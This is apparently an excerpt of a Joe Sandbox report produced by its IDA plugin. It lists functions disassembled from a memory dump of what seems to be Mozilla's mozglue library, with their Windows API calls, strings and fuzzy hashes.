Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction ID: 2317ff18a61332c9d7c65e68afda0ff2a822ad1ead0585ffd463222ff15f1e47
Opcode Fuzzy Hash: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction Fuzzy Hash: FA810275605600AFDB10DF24C480BABB7B5FFE5308F55456DE849ABB51EB30E809CBA2

Function 6C97EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EE60
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EEA5
CloseHandle.KERNEL32(?), ref: 6C97EEB4
free.MOZGLUE(00000000), ref: 6C97EEBB
GetCurrentThreadId.KERNEL32 ref: 6C97EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EECF

Part of subcall function 6C97DE60: GetCurrentThreadId.KERNEL32 ref: 6C97DE73
Part of subcall function 6C97DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B
Part of subcall function 6C97DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
Part of subcall function 6C97DE60: free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
Part of subcall function 6C97DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C97EF1E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF59
GetCurrentThreadId.KERNEL32 ref: 6C97EFB0
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFE1
GetCurrentThreadId.KERNEL32 ref: 6C97EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F000

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C97F02F

Part of subcall function 6C97F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97F09B
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C97F0AC
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C97F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C97F008
[I %d/%d] profiler_stop, xrefs: 6C97EED7

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction ID: 6be3a1aa8d32f0ad1f5a574232d7be0da572a37423d4d24f4f16eb84a860c9a9
Opcode Fuzzy Hash: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction Fuzzy Hash: 0F51E13D609214BFDB109B68D44C7ABB7B9EB5621CF200569E91993F81DB74C804C7FA

Function 6C96D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C96D047
GetSystemInfo.KERNEL32(?), ref: 6C96D093
__Init_thread_footer.LIBCMT ref: 6C96D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C96D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C96D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C96D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C96D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C96D322
Compile-time page size does not divide the runtime one., xrefs: 6C96D26D
MALLOC_OPTIONS, xrefs: 6C96D0CB
<jemalloc>, xrefs: 6C96D268, 6C96D311
MOZ_CRASH(), xrefs: 6C96D277

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction ID: 7f47097fb90a9fd43d570dbaa2f1df57e9f6511f4a26ba5e1facfaab50932689
Opcode Fuzzy Hash: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction Fuzzy Hash: 6981DE71A08240ABFB049F6AC894B6B37BCEB56B08F3001AAE81197FC0D775D804CBD5

Function 6C945E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

GetCurrentThreadId.KERNEL32 ref: 6C945EAB
GetCurrentThreadId.KERNEL32 ref: 6C945EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C946017

Part of subcall function 6C934310: moz_xmalloc.MOZGLUE(00000010,?,6C9342D2), ref: 6C93436A
Part of subcall function 6C934310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9342D2), ref: 6C934387

moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
GetCurrentProcess.KERNEL32 ref: 6C945F53
GetCurrentThread.KERNEL32 ref: 6C945F5C
GetCurrentProcess.KERNEL32 ref: 6C945F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C94605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C9460CC

Strings

GeckoMain, xrefs: 6C945ECE, 6C946015

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction ID: 1c29f4afb98e96900a0783d020f5d8ed114a9743bf31b2e0a3dd16d9afb944f6
Opcode Fuzzy Hash: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction Fuzzy Hash: 8D71B1B4609740DFD700DF69C480A6ABBF0FF69304F54896DE48A87B52DB31E858CB92

Function 6C949590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C933217
Part of subcall function 6C9331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C933236
Part of subcall function 6C9331C0: FreeLibrary.KERNEL32 ref: 6C93324B
Part of subcall function 6C9331C0: __Init_thread_footer.LIBCMT ref: 6C933260
Part of subcall function 6C9331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C93327F
Part of subcall function 6C9331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93328E
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332AB
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332D1
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9332E5
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

MapViewOfFileNuma2, xrefs: 6C9497B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction ID: a69e7114fd2c529aaf8bda6bf5fbb1afb664b6c595e16acf99ded9f1c991ba8e
Opcode Fuzzy Hash: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction Fuzzy Hash: 8A61D079608205FBDF00CF79D9C8B9B3BB8EB4AB18F218159E91593B80D730E944CB95

Function 6C947FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C948007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C94801D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C94802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C94803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C94808D

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C94809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C948133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C948149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C948167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C94817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C948199

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction ID: 67e5d6a1b57aa8a06ddf433e635df4424ac41c1def43da3fb594c8d05665adfe
Opcode Fuzzy Hash: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction Fuzzy Hash: 9251A5B1E00214ABDB00DBA5DC849EFB7B9EF69224F244126E815E7741E731E904CBA5

Function 6C996660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996694
GetThreadId.KERNEL32(?), ref: 6C9966B1
GetCurrentThreadId.KERNEL32 ref: 6C9966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9966E1
EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996734
GetCurrentProcess.KERNEL32 ref: 6C99673A
LeaveCriticalSection.KERNEL32(6C9BF618), ref: 6C99676C
GetCurrentThread.KERNEL32 ref: 6C9967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C996868
RtlCaptureContext.NTDLL ref: 6C99687F

Strings

WalkStack64, xrefs: 6C996890

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction ID: 1ffa62b34be71430f6a2283fef29e6af899ffc88e8a1aa5d84438dbf0670c8ff
Opcode Fuzzy Hash: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction Fuzzy Hash: BB51A771A09301AFDB51CF24C884A5BBBF8BF99B14F14492DF99897690D770E908CBD2

Function 6C97DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97DE73
GetCurrentThreadId.KERNEL32 ref: 6C97DF7D
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DFC9
GetCurrentThreadId.KERNEL32 ref: 6C97DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Strings

<none>, xrefs: 6C97DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C97DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C97E00E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction ID: 7f651ca20c23550af7e217d5d857d7864fced48c9676f3fd7c0f14532e8efb9d
Opcode Fuzzy Hash: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction Fuzzy Hash: 2741C53A706210ABDB209B65D8487ABB776EF9530CF640019E90997F41CB71D815C7F9

Function 6C98D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D52A
GetCurrentThreadId.KERNEL32 ref: 6C98D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D55F
free.MOZGLUE(00000000), ref: 6C98D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98D5D3
GetCurrentThreadId.KERNEL32 ref: 6C98D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D652
GetCurrentThreadId.KERNEL32 ref: 6C98D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D6A2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction ID: 11b146b8dc9d64fc95c36ef78b382984252d94d2b0748d03f7e0dd801a42474f
Opcode Fuzzy Hash: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction Fuzzy Hash: 10516AB1609705EFC704DF24C884A9BBBB4FF89318F108A2EE94A87751DB30E945CB95

Function 6C955670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C955744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9557BC
GetTickCount64.KERNEL32 ref: 6C9558CB
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9558F3
__aulldiv.LIBCMT ref: 6C955945
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9BF638,?,?,?,?), ref: 6C9559E9

Strings

MOZ_APP_RESTART, xrefs: 6C9556CC

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
